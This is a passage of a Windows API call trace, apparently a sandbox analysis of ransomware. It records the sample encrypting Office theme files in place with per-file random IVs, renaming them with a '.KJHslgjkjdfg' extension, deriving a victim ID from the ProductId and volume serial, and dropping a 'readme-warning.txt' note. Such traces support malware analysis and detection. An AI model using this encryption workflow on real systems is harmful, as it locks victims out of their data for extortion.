pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.386] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.386] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.386] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.386] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.387] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.387] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.387] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.387] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.387] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.387] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.387] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x543, lpOverlapped=0x0) returned 1 [0172.387] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x550) returned 1 [0172.387] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.387] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x550, lpOverlapped=0x0) returned 1 [0172.387] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.387] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.387] SetEndOfFile (hFile=0x12c) returned 1 [0172.390] GetProcessHeap () returned 0x990000 [0172.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.390] GetProcessHeap () returned 0x990000 [0172.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.396] CloseHandle (hObject=0x12c) returned 1 [0172.396] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.397] GetProcessHeap () returned 0x990000 [0172.397] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.397] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.397] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.397] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0172.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.400] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.400] GetProcessHeap () returned 0x990000 [0172.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.400] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.400] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.400] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.400] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.401] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.401] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.401] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.401] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.401] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.401] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.401] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e93, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7e93, lpOverlapped=0x0) returned 1 [0172.402] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7ea0, dwBufLen=0x7ea0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7ea0) returned 1 [0172.403] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.403] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7ea0, lpOverlapped=0x0) returned 1 [0172.403] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.403] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.403] SetEndOfFile (hFile=0x12c) returned 1 [0172.406] GetProcessHeap () returned 0x990000 [0172.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.406] GetProcessHeap () returned 0x990000 [0172.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.412] CloseHandle (hObject=0x12c) returned 1 [0172.412] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.412] GetProcessHeap () returned 0x990000 [0172.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.412] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.412] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.412] GetProcessHeap () returned 0x990000 [0172.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.412] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.412] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.413] GetProcessHeap () returned 0x990000 [0172.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.413] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.413] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.413] GetProcessHeap () returned 0x990000 [0172.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.413] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.413] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.413] GetProcessHeap () returned 0x990000 [0172.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.413] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.413] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.413] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.413] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.414] RegCloseKey (hKey=0x12c) returned 0x0 [0172.414] GetProcessHeap () returned 0x990000 [0172.414] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.414] GetProcessHeap () returned 0x990000 [0172.414] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.414] GetProcessHeap () returned 0x990000 [0172.414] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.414] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.414] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.414] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.414] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.414] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.415] GetProcessHeap () returned 0x990000 [0172.415] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.415] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.415] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.415] GetProcessHeap () returned 0x990000 [0172.415] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.415] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\readme-warning.txt") returned 82 [0172.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.416] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.417] CloseHandle (hObject=0x12c) returned 1 [0172.417] GetProcessHeap () returned 0x990000 [0172.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.417] GetProcessHeap () returned 0x990000 [0172.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.417] GetProcessHeap () returned 0x990000 [0172.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.417] GetProcessHeap () returned 0x990000 [0172.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.417] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.418] GetProcessHeap () returned 0x990000 [0172.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.418] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0172.418] GetProcessHeap () returned 0x990000 [0172.418] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0172.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.435] GetProcessHeap () returned 0x990000 [0172.435] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.436] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.436] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0172.436] GetProcessHeap () returned 0x990000 [0172.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0172.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.458] GetProcessHeap () returned 0x990000 [0172.460] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.460] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.460] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.460] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.468] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.468] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.468] GetProcessHeap () returned 0x990000 [0172.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.468] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.469] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.469] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.469] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.469] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.469] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.469] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb8f8, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xb8f8, lpOverlapped=0x0) returned 1 [0172.471] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb900, dwBufLen=0xb900 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb900) returned 1 [0172.471] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.471] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb900, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xb900, lpOverlapped=0x0) returned 1 [0172.471] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.471] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.471] SetEndOfFile (hFile=0x12c) returned 1 [0172.474] GetProcessHeap () returned 0x990000 [0172.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.474] GetProcessHeap () returned 0x990000 [0172.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft 